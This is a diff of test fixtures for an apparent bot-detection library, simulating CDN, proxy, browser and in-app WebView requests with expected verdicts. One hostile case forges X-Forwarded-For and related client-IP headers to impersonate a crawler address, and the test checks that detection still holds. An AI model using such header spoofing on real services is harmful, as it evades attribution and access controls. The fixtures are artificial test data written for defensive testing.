+    requests: [plain(userAgent, [["Accept-Encoding", "gzip, br"], ...extra])],
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  });
+}
+var CDN_GATEWAY_CASES = [
+  // ---------------------------------------------------------------------------
+  // CDN and edge fetchers pulling from origin.
+  // ---------------------------------------------------------------------------
+  edge("edge-cloudflare-origin", "Cloudflare fetching from origin", "Mozilla/5.0 (compatible; Cloudflare-Traffic-Manager/1.0; +https://www.cloudflare.com/bot)", "A CDN revalidating a cached object presents its own identity to the origin", [["CF-Connecting-IP", "203.0.113.88"], ["CF-Ray", "8f2a1c7d4e9b3210-LHR"], ["CF-IPCountry", "GB"], ["X-Forwarded-For", "203.0.113.88"], ["X-Forwarded-Proto", "https"]], { notes: "The real client address arrives in CF-Connecting-IP, which only Cloudflare can set. Reading X-Forwarded-For here instead would take whatever the client wrote." }),
+  edge("edge-fastly-shield", "Fastly shield-tier fetch", "Mozilla/5.0 (compatible; Fastly/1.0)", "A shield POP consolidating requests before they reach origin", [["Fastly-Client-IP", "198.51.100.44"], ["X-Forwarded-For", "198.51.100.44, 151.101.1.1"], ["Fastly-FF", "a1b2c3"], ["X-Varnish", "912837465"]]),
+  edge("edge-akamai", "Akamai edge fetch", "Mozilla/5.0 (compatible; Akamai/1.0)", "Akamai forwards the client address in True-Client-IP", [["True-Client-IP", "192.0.2.77"], ["X-Forwarded-For", "192.0.2.77"], ["Akamai-Origin-Hop", "2"], ["Via", "1.1 v1-akamaitech.net(ghost) (AkamaiGHost)"]]),
+  edge("edge-cloudfront", "CloudFront origin request", "Amazon CloudFront", "CloudFront identifies itself with a bare product name and adds its own viewer headers", [["X-Amz-Cf-Id", "K3sLmN9pQrStUvWxYz01234567890AbCdEfGhIjKlMnOpQrSt=="], ["CloudFront-Viewer-Country", "DE"], ["CloudFront-Is-Mobile-Viewer", "false"], ["X-Forwarded-For", "198.51.100.9"], ["Via", "2.0 a1b2c3d4.cloudfront.net (CloudFront)"]], { certain: false }),
+  edge("edge-bunny", "Bunny CDN origin pull", "Mozilla/5.0 (compatible; BunnyCDN/1.0)", "A smaller CDN pulling an uncached object", [["X-Forwarded-For", "203.0.113.5"], ["CDN-PullZone", "184920"], ["CDN-RequestCountryCode", "PL"]]),
+  edge("edge-vercel", "Vercel edge function calling back to the API", "Vercel Edge Functions", "A serverless edge runtime invoking an origin route", [["X-Vercel-Id", "lhr1::iad1::abcde-1756544400123-1a2b3c4d5e6f"], ["X-Vercel-IP-Country", "GB"], ["X-Forwarded-For", "203.0.113.201"]], { certain: false }),
+  edge("edge-cloudflare-worker", "A Cloudflare Worker subrequest", "Mozilla/5.0 (compatible; Cloudflare-Workers/1.0)", "Workers make subrequests that arrive at origin with their own identity", [["CF-Worker", "shop.example"], ["X-Forwarded-For", "203.0.113.14"]]),
+  // ---------------------------------------------------------------------------
+  // Gateways, meshes and load balancers.
+  // ---------------------------------------------------------------------------
+  edge("edge-aws-alb-health", "An ALB health check", "ELB-HealthChecker/2.0", "The load balancer deciding whether this target is in service", [["Connection", "close"]], { notes: "Perfectly regular, from a fixed private address, forever. Letting a bot policy decide whether the load balancer believes you are healthy is how a false positive becomes a rolling restart." }),
+  edge("edge-gcp-health", "A Google Cloud health check", "GoogleHC/1.0", "The equivalent on Google Cloud load balancing", []),
+  edge("edge-azure-probe", "An Azure Front Door probe", "Edge Health Probe", "Azure Front Door probing origin health from every edge location it serves from", []),
+  edge("edge-envoy-mesh", "An Envoy sidecar forwarding within a service mesh", "Envoy/HC", "Service-mesh health checking between sidecars", [["X-Envoy-Internal", "true"], ["X-Request-Id", "0b4d1c8a-3f2e-4a91-b7c6-52e0d8f19a3b"], ["X-Envoy-Expected-Rq-Timeout-Ms", "15000"]], { certain: false }),
+  edge("edge-istio-probe", "An Istio readiness probe", "kube-probe/1.32", "Kubernetes probing the sidecar rather than the application", []),
+  edge("edge-nginx-upstream", "An nginx reverse proxy forwarding a browser request", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36", "The proxy passes the client's User-Agent through and adds forwarding headers of its own", [["X-Real-IP", "203.0.113.130"], ["X-Forwarded-For", "203.0.113.130"], ["X-Forwarded-Proto", "https"], ["X-Forwarded-Host", "shop.example"]], { certain: false, notes: "The User-Agent belongs to a person; the connection belongs to the proxy. Getting the address wrong here mislabels a real customer as the proxy, or the proxy as a customer." }),
+  edge("edge-haproxy-forward", "HAProxy forwarding with a Forwarded header", "curl/8.12.1", "The standardised Forwarded header from RFC 7239, still much rarer than X-Forwarded-For", [["Forwarded", "for=192.0.2.60;proto=https;by=203.0.113.43"], ["X-Forwarded-For", "192.0.2.60"]], { certain: false }),
+  edge("edge-api-gateway", "An API gateway forwarding an authenticated call", "AmazonAPIGateway_a1b2c3d4e5", "API Gateway rewrites the request entirely before it reaches the integration", [["X-Amzn-Trace-Id", "Root=1-68b2a1c0-1a2b3c4d5e6f708192a3b4c5"], ["X-Forwarded-For", "198.51.100.120"], ["X-Forwarded-Port", "443"]], { certain: false }),
+  edge("edge-kong", "Kong forwarding upstream", "Kong/3.9.0", "An API gateway adding its own trace headers", [["X-Kong-Request-Id", "9f8e7d6c5b4a39281706"], ["X-Forwarded-For", "203.0.113.66"]], { certain: false }),
+  // ---------------------------------------------------------------------------
+  // Address resolution: the highest-consequence configuration in the library.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "edge-person-behind-two-proxies",
+    title: "A person behind a CDN and a reverse proxy",
+    category: "forwarding",
+    provenance: "Two hops: the CDN appends the client, the reverse proxy appends the CDN. Reading the wrong entry mislabels a customer.",
+    notes: "The chain is client, then CDN, then proxy. With `trustedProxies` configured the walk stops at the first address that is not yours, which is the customer. With a hop count that is wrong by one it stops at the CDN, and every customer behind that CDN becomes one actor.",
+    requests: [
+      {
+        ...browser("chromeWindows", { cookie: returningCustomerJar("proxied"), kind: "same-origin-navigate", referer: "https://shop.example/" }),
+        headers: [
+          ...browser("chromeWindows", { cookie: returningCustomerJar("proxied"), kind: "same-origin-navigate", referer: "https://shop.example/" }).headers,
+          ["X-Forwarded-For", "203.0.113.210, 198.51.100.1, 10.0.0.7"],
+          ["X-Forwarded-Proto", "https"],
+          ["Via", "1.1 cdn-edge (squid/6.6), 1.1 lb-01"]
+        ],
+        path: "/products/91"
+      }
+    ],
+    expect: { certain: false }
+  }),
+  bot({
+    id: "edge-xff-header-injection",
+    title: "A client writing a forged chain into X-Forwarded-For",
+    audience: "hostile",
+    category: "forwarding",
+    provenance: "Prepending entries is free; the header is whatever the sender types",
+    notes: "Whatever it writes, it is still a bare library client and is classified as one. Address spoofing changes which *actor* the request is attributed to, not what the request is \u2014 which is why the classification and the actor key are separate concerns.",
+    requests: [
+      {
+        headers: [["Host", "shop.example"], ["User-Agent", "curl/8.12.1"], ["Accept", "*/*"], ["X-Forwarded-For", "66.249.66.1, 8.8.8.8, 1.1.1.1"], ["X-Real-IP", "66.249.66.1"], ["True-Client-IP", "66.249.66.1"], ["CF-Connecting-IP", "66.249.66.1"]],
+        ip: "192.0.2.222",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
+    tags: ["security"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Mirrors, caches and other people's infrastructure carrying your content.
+  // ---------------------------------------------------------------------------
+  edge("edge-google-amp", "Google AMP cache fetching a page", "Mozilla/5.0 (compatible; Google-AMPHTML; +http://www.google.com/bot.html)", "The AMP cache re-serves your page from Google's infrastructure"),
+  edge("edge-cloudflare-alwaysonline", "Cloudflare Always Online archiving a page", "Mozilla/5.0 (compatible; CloudflareAlwaysOnline/1.0; +http://www.cloudflare.com/always-online) AppleWebKit/534.34", "Cloudflare snapshots pages so it can serve them while your origin is down"),
+  edge("edge-wordpress-jetpack", "Jetpack fetching from a WordPress site", "Jetpack by WordPress.com", "Jetpack proxies images and stats through WordPress.com infrastructure", [], { certain: false }),
+  edge("edge-imgproxy", "An image proxy fetching a source image", "imgproxy/3.27.2", "Image proxies fetch originals and re-encode them", [], { certain: false }),
+  edge("edge-wayback-replay", "The Wayback Machine replaying an archived page", "Mozilla/5.0 (compatible; archive.org_bot; +http://archive.org/details/archive.org_bot)", "Replay fetches missing subresources live from the origin"),
+  edge("edge-rss-proxy", "A feed proxy normalising a feed", "Mozilla/5.0 (compatible; FeedBurner/1.0; +https://feedburner.google.com)", "Feed proxies fetch once and fan out to many subscribers")
+];
+
+// src/corpus/humans-browsers.ts
+var SITE = "https://shop.example";
+function landing(name, title, provenance, options = {}, notes) {
+  return human({
+    id: `browse-${kebab(name)}`,
+    title,
+    category: "browser-population",
+    provenance,
+    ...notes !== void 0 ? { notes } : {},
+    requests: [{ ...browser(name, { cookie: freshVisitorJar(name), ...options }), path: "/" }],
+    expect: { certain: false, verdict: ["unknown", "human"] }
+  });
+}
+function kebab(name) {
+  return name.replace(/([a-z0-9])([A-Z])/g, "$1-$2").toLowerCase();
+}
+function scenarios(name, label, list) {
+  return list.map(
+    (scenario) => human({
+      id: `browse-${kebab(name)}-${scenario.suffix}`,
+      title: `${label}: ${scenario.title}`,
+      category: "browser-scenario",
+      provenance: "Header set derived from the engine's documented behaviour for this request kind",
+      requests: [{ ...browser(name, scenario.options), ...scenario.path !== void 0 ? { path: scenario.path } : {} }],
+      expect: { certain: false, verdict: ["unknown", "human"] }
+    })
+  );
+}
+var COMMON = [
+  {
+    suffix: "returning",
+    title: "a returning customer following an internal link",
+    path: "/products/1184",
+    options: { kind: "same-origin-navigate", referer: `${SITE}/products`, cookie: returningCustomerJar("regular") }
+  },
+  {
+    suffix: "high-entropy-hints",
+    title: "after the server asked for high-entropy Client Hints",
+    path: "/checkout",
+    options: { kind: "same-origin-navigate", referer: `${SITE}/basket`, cookie: returningCustomerJar("hints"), highEntropyHints: true, prefers: { colorScheme: "dark", reducedMotion: "no-preference" } }
+  },
+  {
+    suffix: "xhr",
+    title: "an in-page fetch() for JSON",
+    path: "/api/basket",
+    options: { kind: "xhr", cookie: returningCustomerJar("xhr"), origin: SITE }
+  },
+  {
+    suffix: "reload",
+    title: "pressing reload on a page it already has cached",
+    path: "/products/1184",
+    options: { kind: "navigate", cookie: returningCustomerJar("reload"), reload: true, revalidate: { etag: 'W/"6a9-19256f0c1d8"', modifiedSince: "Fri, 29 Aug 2026 14:22:10 GMT" } }
+  },
+  {
+    suffix: "form-post",
+    title: "submitting the checkout form",
+    path: "/checkout/confirm",
+    options: { kind: "form-post", referer: `${SITE}/checkout`, origin: SITE, cookie: returningCustomerJar("post"), contentType: "application/x-www-form-urlencoded", contentLength: 284 }
+  }
+];
+var MOBILE_EXTRAS = [
+  {
+    suffix: "metered",
+    title: "on a metered connection with data saver on",
+    path: "/products",
+    options: { kind: "same-origin-navigate", referer: `${SITE}/`, cookie: cookieJar({ visitor: "metered" }), saveData: true, networkHints: { rtt: 300, downlink: 0.4, ect: "3g" } }
+  },
+  {
+    suffix: "prefetch",
+    title: "a speculative prefetch while a link is hovered",
+    path: "/products/2210",
+    options: { kind: "same-origin-navigate", referer: `${SITE}/products`, cookie: cookieJar({ visitor: "prefetch" }), prefetch: true }
+  }
+];
+var HUMAN_BROWSER_CASES = [
+  // ---------------------------------------------------------------------------
+  // Chromium desktop
+  // ---------------------------------------------------------------------------
+  landing("chromeWindows", "Chrome 152 on Windows 11", "2026 User-Agent lists; Chromium freezes the minor version fields to 0.0.0 so the header leaks less"),
+  landing("chromeMac", "Chrome 152 on an Apple-silicon Mac", "2026 User-Agent lists; the platform is reported as macOS through Client Hints while the UA still says Mac OS X 10_15_7"),
+  landing("chromeLinux", "Chrome 152 on Linux", "2026 User-Agent lists. A small population that trips heuristics keyed on desktop operating-system share"),
+  landing("chromeChromeOs", "Chrome 151 on a Chromebook", "CrOS builds carry a board and milestone in the UA and report 'Chrome OS' as the platform hint"),
+  landing("edgeWindows", "Edge 150 on Windows", "Edge reports Chromium brands alongside its own and truncates its version to major.0.0.0 in the UA"),
+  landing("edgeMac", "Edge 150 on macOS", "The same build on a different platform; only the platform hint and UA platform token differ"),
+  landing("operaWindows", "Opera 135 on Windows", "Opera carries an OPR/ token after the Chrome/ token and reports an Opera brand"),
+  landing("vivaldiWindows", "Vivaldi 7.6 on Windows", "Vivaldi appends its own token and reports a Vivaldi brand alongside Chromium"),
+  landing(
+    "braveWindows",
+    "Brave on Windows with Shields up",
+    "Brave presents an unmodified Chrome identity by design so that its users are not singled out, and adds Sec-GPC",
+    { gpc: true, dnt: true },
+    "Deliberately indistinguishable from Chrome in the UA. The only tell is Sec-GPC, which is a privacy signal rather than an automation one \u2014 reading it as suspicious would invert its purpose."
+  ),
+  landing("yandexWindows", "Yandex Browser 25.8 on Windows", "The dominant browser in Russia; reports YaBrowser and Yowser brands alongside Chromium"),
+  // ---------------------------------------------------------------------------
+  // Gecko
+  // ---------------------------------------------------------------------------
+  landing("firefoxWindows", "Firefox 148 on Windows", "2026 User-Agent lists. Gecko implements no Client Hints at all, which is correct and must not read as an omission"),
+  landing("firefoxMac", "Firefox 148 on macOS", "2026 User-Agent lists"),
+  landing("firefoxLinux", "Firefox 148 on Linux, German locale", "2026 User-Agent lists; a four-entry Accept-Language chain is entirely ordinary in Europe"),
+  landing("firefoxEsr", "Firefox 140 ESR in a managed enterprise fleet", "ESR trails the release channel by roughly a year and is what most managed desktops run"),
+  landing("firefoxAndroid", "Firefox 148 on Android", "Gecko on Android reports Mobile in the UA and, like desktop Gecko, sends no Client Hints"),
+  // ---------------------------------------------------------------------------
+  // WebKit
+  // ---------------------------------------------------------------------------
+  landing("safariMac", "Safari 18.7 on macOS", "WebKit interleaves the Fetch Metadata headers with content negotiation rather than grouping them"),
+  landing("safariIos", "Safari 18.7 on an iPhone", "2026 User-Agent lists; the Mobile/15E148 build token has been frozen for years"),
+  landing("safariIpad", "Safari 18.7 on an iPad", "iPadOS reports an iPad UA in mobile mode; in desktop-class mode it reports a Macintosh UA instead"),
+  landing("chromeIos", "Chrome on iOS", "CriOS is WebKit underneath \u2014 iOS permits no other engine \u2014 so its header order is Safari's, not Chromium's", {}, "A client whose User-Agent says Chrome and whose header order says Safari. Both are true, and a naive engine-versus-order consistency check would call it a forgery."),
+  landing("firefoxIos", "Firefox on iOS", "FxiOS is likewise WebKit; the Gecko name in the product token describes the brand, not the engine"),
+  landing("edgeIos", "Edge on iOS", "EdgiOS is WebKit too; iOS permits no other engine, so every browser there shares Safari's header order"),
+  landing("duckduckgoIos", "DuckDuckGo browser on iOS", "Appends a DuckDuckGo token to an otherwise standard Safari string", { gpc: true }),
+  // ---------------------------------------------------------------------------
+  // Chromium mobile
+  // ---------------------------------------------------------------------------
+  landing("chromeAndroid", "Chrome 150 on an Android phone", "The device string has been frozen to 'Android 10; K' since Chrome 110 to reduce passive fingerprinting"),
+  landing(
+    "chromeAndroidTablet",
+    "Chrome 150 on an Android tablet",
+    "Chromium omits the Mobile product token on tablets and sets Sec-CH-UA-Mobile to ?0 from the same internal state",
+    {},
+    "The case that caught a real bug: a check testing the User-Agent for the operating system rather than for the Mobile token read this correct pairing as a contradiction, on every Android tablet on the web."
+  ),
+  landing("samsungInternet", "Samsung Internet 29 on a Galaxy S25", "The default browser on Samsung devices and the second most-used mobile browser worldwide"),
+  landing("operaAndroid", "Opera 91 on Android, Indonesian locale", "Opera has a large share across Southeast Asia"),
+  landing("edgeAndroid", "Edge 150 on Android", "EdgA is genuine Chromium and does send Client Hints"),
+  // ---------------------------------------------------------------------------
+  // Regional Chromium forks. Hundreds of millions of people, pinned to older
+  // Chromium releases and not sending the modern header set.
+  // ---------------------------------------------------------------------------
+  landing(
+    "ucBrowser",
+    "UC Browser on Android in India",
+    "UC Browser runs a Chromium fork pinned well behind the release channel and does not send Client Hints or Fetch Metadata",
+    {},
+    "A client claiming Chrome 100 with none of the headers Chrome 100 sends. Read literally that is a strong impersonation signal; read correctly it is one of the most-used browsers in South Asia."
+  ),
+  landing("miBrowser", "MIUI Browser on a Xiaomi phone", "The default browser on Xiaomi devices, based on an older Chromium and shipping a reduced header set"),
+  landing("huaweiBrowser", "Huawei Browser on an HMS device", "The default browser on Huawei devices outside Google Mobile Services"),
+  landing("qqBrowser", "QQ Browser on Android in China", "One of the most-used mobile browsers in China; a Chromium fork with its own release cadence"),
+  // ---------------------------------------------------------------------------
+  // Televisions, consoles and embedded. Old engines, odd header sets, real people.
+  // ---------------------------------------------------------------------------
+  landing("silkKindle", "Amazon Silk on a Fire tablet", "Silk identifies itself as 'like Chrome' rather than as Chrome, and is a Chromium fork on Amazon's own cadence"),
+  landing("tizenTv", "A Samsung television browser", "Tizen builds report SMART-TV and a Chromium version years behind the desktop channel"),
+  landing("webOsTv", "An LG television browser", "webOS builds append WebAppManager and carry an old Chromium"),
+  landing("playstation", "A PlayStation 5 system browser", "WebKit-based, with a frozen Version/16.0 and no Fetch Metadata"),
+  landing("nintendoSwitch", "A Nintendo Switch browser", "The Switch's captive-portal browser, an old WebKit with a distinctive NintendoBrowser token"),
+  // ---------------------------------------------------------------------------
+  // The same clients doing the things people actually do with them.
+  // ---------------------------------------------------------------------------
+  ...scenarios("chromeWindows", "Chrome on Windows", COMMON),
+  ...scenarios("firefoxWindows", "Firefox on Windows", COMMON),
+  ...scenarios("safariMac", "Safari on macOS", COMMON),
+  ...scenarios("edgeWindows", "Edge on Windows", COMMON),
+  ...scenarios("safariIos", "Safari on iPhone", [...COMMON, ...MOBILE_EXTRAS]),
+  ...scenarios("chromeAndroid", "Chrome on Android", [...COMMON, ...MOBILE_EXTRAS]),
+  ...scenarios("samsungInternet", "Samsung Internet", MOBILE_EXTRAS),
+  ...scenarios("chromeMac", "Chrome on macOS", COMMON.slice(0, 3)),
+  ...scenarios("firefoxAndroid", "Firefox on Android", MOBILE_EXTRAS),
+  // ---------------------------------------------------------------------------
+  // The awkward edges of ordinary browsing.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "browse-early-data-resumption",
+    title: "A TLS 1.3 resumption replayed as early data",
+    category: "browser-scenario",
+    provenance: "0-RTT resumption; the terminating proxy marks the request Early-Data: 1 so the origin can decide whether to risk replaying it",
+    requests: [{ ...browser("chromeWindows", { cookie: returningCustomerJar("early"), earlyData: true, kind: "same-origin-navigate", referer: `${SITE}/` }), path: "/products" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-third-party-iframe",
+    title: "A page embedded in a third-party iframe",
+    category: "browser-scenario",
+    provenance: "Cross-site iframe load; recent Chromium adds Sec-Fetch-Storage-Access to describe its storage partition",
+    requests: [{ ...browser("chromeWindows", { kind: "iframe", referer: "https://partner.example/", storageAccess: "none" }), path: "/embed/widget" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-video-range-request",
+    title: "A video player asking for a byte range",
+    category: "browser-scenario",
+    provenance: "HTML media elements issue Range requests with Sec-Fetch-Dest: video",
+    requests: [{ ...browser("safariMac", { kind: "media", range: "bytes=2097152-4194303", referer: `${SITE}/products/1184` }), path: "/media/demo.mp4" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-eventsource-stream",
+    title: "An EventSource stream for live stock updates",
+    category: "browser-scenario",
+    provenance: "EventSource sends Accept: text/event-stream and holds the connection open",
+    requests: [{ ...browser("chromeWindows", { kind: "eventsource", cookie: returningCustomerJar("sse"), origin: SITE }), path: "/api/stock-stream" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-cross-origin-cors",
+    title: "A cross-origin API call from a partner's page",
+    category: "browser-scenario",
+    provenance: "Cross-site fetch with an Origin header and Sec-Fetch-Site: cross-site",
+    requests: [{ ...browser("chromeWindows", { kind: "cors", origin: "https://partner.example" }), path: "/api/public/catalog" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-stylesheet-and-script",
+    title: "The subresources of a page load",
+    category: "browser-scenario",
+    provenance: "Stylesheet and script requests carry their own Accept values and Sec-Fetch-Dest",
+    requests: [
+      { ...browser("chromeWindows", { kind: "stylesheet", referer: `${SITE}/` }), path: "/assets/app.css", atMs: 0 },
+      { ...browser("chromeWindows", { kind: "script", referer: `${SITE}/` }), path: "/assets/app.js", atMs: 40 },
+      { ...browser("chromeWindows", { kind: "subresource", referer: `${SITE}/` }), path: "/assets/hero.avif", atMs: 90 }
+    ],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-dark-mode-reduced-motion",
+    title: "Somebody who prefers dark mode and reduced motion",
+    category: "browser-scenario",
+    provenance: "Sec-CH-Prefers-Color-Scheme and Sec-CH-Prefers-Reduced-Motion, sent once a server advertises Accept-CH",
+    notes: "Reduced motion is frequently an accessibility setting rather than a taste. A signal that read unusual preferences as suspicious would land hardest on the people least able to work around it.",
+    requests: [{ ...browser("chromeWindows", { cookie: returningCustomerJar("prefs"), prefers: { colorScheme: "dark", reducedMotion: "reduce" }, highEntropyHints: true }), path: "/" }],
+    expect: { certain: false },
+    tags: ["accessibility"]
+  }),
+  human({
+    id: "browse-layout-hints",
+    title: "A responsive image request carrying layout hints",
+    category: "browser-scenario",
+    provenance: "Viewport-Width and DPR, sent when the server asks for them so it can pick an image size",
+    requests: [{ ...browser("chromeAndroid", { kind: "subresource", layoutHints: { viewportWidth: 412, dpr: 2.625 }, referer: `${SITE}/products/1184` }), path: "/img/1184.avif" }],
+    expect: { certain: false }
+  }),
+  human({
+    id: "browse-do-not-track",
+    title: "Somebody sending the deprecated DNT header",
+    category: "browser-scenario",
+    provenance: "DNT is deprecated and still sent by a meaningful minority, often alongside Sec-GPC",
+    requests: [{ ...browser("firefoxWindows", { dnt: true, gpc: true, cookie: freshVisitorJar("dnt") }), path: "/" }],
+    expect: { certain: false, verdict: "unknown" }
+  })
+];
+
+// src/corpus/humans-apps.ts
+function webview(id, title, userAgent, provenance, options = {}) {
+  const headers = [
+    ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"],
+    ["Accept-Language", options.language ?? "en-GB,en;q=0.9"],
+    ["Accept-Encoding", "gzip, deflate, br"],
+    ["Upgrade-Insecure-Requests", "1"],
+    ...options.extra ?? [],
+    ...options.cookie === false ? [] : [["Cookie", cookieJar({ visitor: id, analytics: true })]]
+  ];
+  return human({
+    id,
+    title,
+    category: "in-app-webview",
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
+    requests: [plain(userAgent, headers)],
+    expect: { certain: false }
+  });
+}
+var HUMAN_APP_CASES = [
+  // ---------------------------------------------------------------------------
+  // Social apps on iOS. WebKit underneath, with the app's own suffix.
+  // ---------------------------------------------------------------------------
+  webview(
+    "app-instagram-ios",
+    "A link tapped in Instagram on iOS",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 372.1.0.28.104 (iPhone17,1; iOS 18_6_1; en_GB; en; scale=3.00; 1206x2622; 748291056; IABMV/1)",
+    "Instagram appends its version plus a full device descriptor and drops the Safari token entirely",
+    { notes: "Note what is missing: no Safari/ token, so a check keyed on the browser name finds nothing to check. The IABMV flag marks the in-app browser build." }
+  ),
+  webview("app-instagram-android", "A link tapped in Instagram on Android", "Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 Instagram 372.0.0.39.108 Android (35/15; 450dpi; 1080x2229; samsung; SM-S931B; e3q; qcom; en_GB; 745123098)", "The Android build carries a wv token marking the WebView, plus a device and locale block"),
+  webview("app-facebook-ios", "A link tapped in Facebook on iOS", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/500.0.0.44.107;FBBV/687451209;FBDV/iPhone17,1;FBMD/iPhone;FBSN/iOS;FBSV/18.6.1;FBSS/3;FBID/phone;FBLC/en_GB;FBOP/5;FBRV/0]", "The bracketed FB block names the app, build, device, OS and locale"),
+  webview("app-facebook-android", "A link tapped in Facebook on Android", "Mozilla/5.0 (Linux; Android 14; SM-A556B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/500.0.0.32.109;]", "Android Facebook WebViews use FB_IAB and FBAV rather than the iOS block"),
+  webview("app-messenger", "A link tapped in Messenger", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/MessengerForiOS;FBAV/500.1.0.52.106;FBBV/687912344;FBDV/iPhone16,2;FBMD/iPhone;FBSN/iOS;FBSV/18.6;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5]", "Messenger identifies itself distinctly from the main Facebook app"),
+  webview("app-tiktok-android", "A link tapped in TikTok", "Mozilla/5.0 (Linux; Android 14; 23021RAA2Y Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.6980.113 Mobile Safari/537.36 musical_ly_2024505030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/40.5.3 ByteLocale/en ByteFullLocale/en Region/GB AppSkin/white AppTheme/light BytedanceWebview/d8a21c6", "TikTok carries both the legacy musical_ly token and a BytedanceWebview build hash", { notes: "Contains 'Bytedance' but not 'Bytespider'. A substring match on the vendor name would classify a person as ByteDance's crawler." }),
+  webview("app-tiktok-ios", "A link tapped in TikTok on iOS", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 musical_ly_40.5.3 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/en Region/US isDarkMode/0 WKWebView/1 BytedanceWebview/d8a21c6", "The iOS build names WKWebView explicitly"),
+  webview("app-snapchat", "A link tapped in Snapchat", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.31.0.48 (like Safari/605.1.15)", "Snapchat's suffix says 'like Safari' rather than claiming to be Safari"),
+  webview("app-linkedin", "A link tapped in the LinkedIn app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]", "A bracketed suffix and nothing else", { notes: "Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not; the strings differ by six characters." }),
+  webview("app-pinterest", "A link tapped in Pinterest", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Pinterest for iOS/13.12", "Pinterest names itself and the platform in plain words"),
+  webview("app-reddit", "A link tapped in the Reddit app", "Mozilla/5.0 (Linux; Android 15; Pixel 9 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 RedditAndroid/2025.03.0", "The Reddit app opens links in a WebView by default"),
+  webview("app-x-twitter", "A link tapped in X", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Twitter for iPhone/10.71", "X still identifies its iOS client by the old product name"),
+  webview("app-discord", "A link tapped in Discord on mobile", "Mozilla/5.0 (Linux; Android 14; SM-G991B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 Discord/271.0", "Discord's mobile WebView", { notes: "Distinct from Discordbot, which unfurls the link into an embed before anyone taps it. Both arrive for the same shared URL, seconds apart." }),
+  webview("app-telegram", "A link tapped in Telegram", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Telegram-iOS/11.5", "Telegram's in-app browser"),
+  webview("app-whatsapp", "A link tapped in WhatsApp", "Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36", "WhatsApp's Android WebView adds no suffix at all \u2014 only the wv token distinguishes it", { notes: "No app name anywhere. Indistinguishable from any other Android WebView, which is why the wv marker has to carry the weight." }),
+  webview("app-line", "A link tapped in LINE", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 Line/14.20.0", "LINE is the dominant messenger in Japan, Taiwan and Thailand", { language: "ja-JP,ja;q=0.9,en-US;q=0.8" }),
+  webview("app-kakaotalk", "A link tapped in KakaoTalk", "Mozilla/5.0 (Linux; Android 15; SM-S938N Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 KAKAOTALK 25.3.1", "The dominant messenger in South Korea", { language: "ko-KR,ko;q=0.9,en-US;q=0.8" }),
